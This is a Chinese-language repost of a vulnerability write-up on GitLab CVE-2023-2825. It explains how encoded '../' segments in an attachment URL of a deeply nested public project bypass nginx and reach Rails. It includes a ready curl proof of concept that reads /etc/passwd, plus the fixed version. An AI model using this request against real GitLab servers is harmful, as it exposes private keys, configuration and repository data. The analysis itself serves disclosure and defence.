[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析

admin 2023年5月25日21:08:52评论289 views字数 5989阅读19分57秒阅读模式

[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析

原文:https://rce.moe/2023/05/25/Gitlab-CVE-2023-2825/
作者:burpheart
如有侵权,请联系删除!

[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析


使用docker 部署漏洞环境

docker pull gitlab/gitlab-ce:16.0.0-ce.0

[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析


poc内容

curl -i -s -k -X $'GET' -H $'Host: 127.0.0.1' $'http://127.0.0.1/group1/group2/group3/group4/group5/group6/group7/group8/group9/project9/uploads/4e02c376ac758e162ec674399741e38d//..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'

[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析

[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析

Gitlab CVE-2023-2825 一个罕见的目录穿越漏洞

前言

昨天 GitLab 出了一个版本目录穿越漏洞(CVE-2023-2825),可以任意读取文件。当时我进行了黑盒测试并复现了该漏洞。 

“ An unauthenticated malicious user can use a path traversal vulnerability to read arbitrary files on the server when an attachment exists in a public project nested within at least five groups. “

这个漏洞的利用条件非常特殊,需要一个至少嵌套了五层group的公开项目”。
看到这个描述,我就觉得这个漏洞非常有趣。很容易想到一种奇怪的情况,即构造五层目录后,再利用五次”../“,恰好到达根目录。
修复漏洞的

commit:https://gitlab.com/gitlab-org/gitlab/-/commit/2ddbf5464954addce7b8c82102377f0f137b604f

漏洞利用

Gitlab环境搭建完成之后,我成功验证了我的猜想。这个漏洞非常简单,用了几分钟成功复现了该漏洞。 

创建group嵌套项目

首先 创建一个嵌套group的项目
Gitlab的group可以嵌套   一个group可以有多个子group.
嵌套的group的项目需要按照下面的这种url访问/a/b/c/d/e/f/g/proj

[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析

添加项目附件

添加项目之后 发起一个issus   这时候可以添加附件

[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析


下载文件

修改文件下载地址 多次尝试构造得到poc.

[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析

成功读取文件


漏洞分析

这个POC看起来很奇怪,有着数个目录,后半部分的URL还被编码了。
但是为什么会出现这个漏洞?  这里面出现了三个问题:
:::info
这个漏洞为什么会出现在uri上?
为什么后面的uri要url编码?
为什么要构造5层以上目录?
:::我们先来看看gitlab的架构

Nginx( C )-> Workhorse(gitlab自己的中间件 Go) -> Unicorn(新版本为 puma) (Ruby)

用户发起的请求要经过两个中间件的转发才会到puma后端

Nginx

location / {  client_max_body_size 0;  gzip off;
## https://github.com/gitlabhq/gitlabhq/issues/694 ## Some requests take more than 30 seconds. proxy_read_timeout 300; proxy_connect_timeout 300; proxy_redirect off;
proxy_http_version 1.1;
proxy_set_header Host $http_host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade_gitlab;
proxy_pass http://gitlab-workhorse;}

用户发起的请求 第一步需要先通过nginx
nginx会对uri进行校验如果目录穿越超过了目录层数 就会返回400状态码  请求也不会转发到后端

但是如果我们把目录穿越的部分进行url编码呢?

/a/b/%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F

结果还是400
分析nginx的代码后,不难发现在处理复杂的URI时,nginx会对URL编码的部分进行解码。

https://github.com/nginx/nginx/blob/27af6dcb48d8e7ba5c07eba8f0157262222bcf18/src/http/ngx_http_parse.c#L1499

[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析

因此,我们不能仅仅依赖简单的编码方式来绕过这个限制。相反,我们需要构造5层目录来欺骗nginx,这样就可以成功绕过校验了。一旦通过了校验,nginx会将未经解码处理的URL传递给Workhorse。 


Workhorse

下载文件的请求在Workhorse 里面没有命中自定义的路由  会直接转发到puma

Puma

在Rails中,处理路由的方式略有不同于nginx。
Rails匹配路由参数时,不会对URL进行解码。让我们来看一下与uploads相关的路由,其中filename参数使用了正则表达式来匹配URL / 后面的字符串。

scope path: :uploads do  # Note attachments and User/Group/Project/Topic avatars  get "-/system/:model/:mounted_as/:id/:filename",  to: "uploads#show",  constraints: { model: %r{note|user|group|project|projects/topic|achievements/achievement}, mounted_as: /avatar|attachment/, filename: %r{[^/]+} }......

Rails 会对获取到的参数进行 URL 解码,并成功将带有 “../“ 的路径作为参数传递给 uploads#show,最终成功读取任意文件。 

# This should either#   - send the file directly#   - or redirect to its URL#def show  return render_404 unless uploader&.exists?
ttl, directives = *cache_settings ttl ||= 0 directives ||= { private: true, must_revalidate: true }
expires_in ttl, directives
file_uploader = [uploader, *uploader.versions.values].find do |version| version.filename == params[:filename] end
return render_404 unless file_uploader
workhorse_set_content_type! send_upload(file_uploader, attachment: file_uploader.filename, disposition: content_disposition)end
def send_upload(file_upload, send_params: {}, redirect_params: {}, attachment: nil, proxy: false, disposition: 'attachment')  content_type = content_type_for(attachment)
if attachment response_disposition = ActionDispatch::Http::ContentDisposition.format(disposition: disposition, filename: attachment)
# Response-Content-Type will not override an existing Content-Type in # Google Cloud Storage, so the metadata needs to be cleared on GCS for # this to work. However, this override works with AWS. redirect_params[:query] = { "response-content-disposition" => response_disposition, "response-content-type" => content_type } # By default, Rails will send uploads with an extension of .js with a # content-type of text/javascript, which will trigger Rails' # cross-origin JavaScript protection. send_params[:content_type] = 'text/plain' if File.extname(attachment) == '.js'
send_params.merge!(filename: attachment, disposition: disposition) end
if image_scaling_request?(file_upload) location = file_upload.file_storage? ? file_upload.path : file_upload.url headers.store(*Gitlab::Workhorse.send_scaled_image(location, params[:width].to_i, content_type)) head :ok elsif file_upload.file_storage? send_file file_upload.path, send_params elsif file_upload.class.proxy_download_enabled? || proxy headers.store(*Gitlab::Workhorse.send_url(file_upload.url(**redirect_params))) head :ok else redirect_to cdn_fronted_url(file_upload, redirect_params) endend

漏洞深入利用

漏洞利用的时候注意要足够数量的group 才能从储存目录穿越到根目录 5层可能不够

[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析


读取文件时会作为git 用户组的权限进行读取
gitlab 的文件权限十分严格
redis pg数据库的文件无法访问但是可以访问一些配置文件 部分私钥凭据 全部的git仓库数据 等


利用条件

存在可以达到根目录的嵌套可公开访问到的group项目  而且存在附件(issus 评论 等)
或普通用户权限 手动创建 多层group和项目

影响范围

gitlab-ee/ce == 16.0.0

修复方法

更新gitlab到16.0.1https://about.gitlab.com/update/

更多可以参考:

https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/

     本文作者:白帽酱     

     版权声明:本文首发于白帽酱的博客,转载请注明出处!   

 

如果你喜欢巫巫的原创文章,推荐加入巫巫的社群

(72小时内可申请退款)

▎  我建立这个星球来沉淀有价值的内容,更好地帮助小伙伴提升自己。 

▎  很多小伙伴都添加我的微信,向我提问越来越多,随便回答不太好,如果不回答也不好,如果都仔细回答,是真的回答不过来!

   后来发现可以建立知识星球,我会花费时间在这个星球上用以解决这一问题。

   进入星球你需要注意:

1.如果是伸手党,请离开,星球的本质是解决问题思路,而不是解决懒惰。

2.如果你是个爱思考的小伙伴,我们愿意分享知识总结,与你一起进步。

3.星球旨在为有疑问和困惑的人提供有价值的帮助和支持,鼓励读者通过自己的思考和努力来解决问题。

4.涉及知识面:渗透测试、漏洞挖掘、CTF、企业安全建设、网络边界安全、GAN网络、web3.0安全、安全运营、打击涉网犯罪、哲学法家等行业全知识面覆盖

5.提供咨询服务,按问题小时付费,语音沟通,满意付款。

[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析



合抱之木,生于毫末。

九层之台,起于累土。

每一次努力和积累,都是在为网络安全领域的发展贡献自己的一份力量。

感谢您一直以来的支持和关注!


     

[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析

如何打击互联网黑灰色产业链犯罪:我总结了6个关键点

最强免费 ChatGPT 替代品!AI 界“黑马” (支持国内直连)

【零基础】SRC实用漏洞挖掘技巧-附5个漏洞实例解析

隐藏的危险:Apache Superset三个RCE漏洞浅析

一篇完整的甲方内部防钓鱼演练方案【可直接抄作业】

阿里云WAF3.0命令执行Bypass,也是WAF的通病

漏洞治理难度大?建立完善的漏洞管理流程是关键!

从Prompt注入到命令执行:探究LLM大型语言模型中 OpenAI的风险点

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

如何复现网传微信csv注入漏洞?

【盗币科普】你可千万不能这样盗别人的虚拟货币钱包

关于打击跨境网络赌博犯罪,我们如何侦查?我的建议和想法

【完结篇】微信泄露手机号事件的回顾与总结

批量截获机场节点:科学上网工具安全分析

防范虚拟货币钱包盗窃:揭秘非Approve的新型盗U诈骗手段(终极版)

【欺负老实人】在chatgpt Prompt中注入攻击代码,截取跟踪用户信息,钓鱼XSS。

一次完整的GPT-4代码审计,挖掘CMSeasy漏洞

我使用ChatGPT审计代码发现了200多个安全漏洞(GPT-4与GPT-3对比报告)

从零开始,手把手教您如何开通ChatGPT Plus开启GPT-4之旅(depay,nobepay,某宝)

Burpsuite最新版+四款Burpsuite插件,帮你扫描JS文件中的URL链接!

原文始发于微信公众号(安全女巫):[附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月25日21:08:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [附Poc]GitLab任意读取文件(CVE-2023-2825)漏洞分析https://cn-sec.com/archives/1761388.html

发表评论

匿名网友 填写信息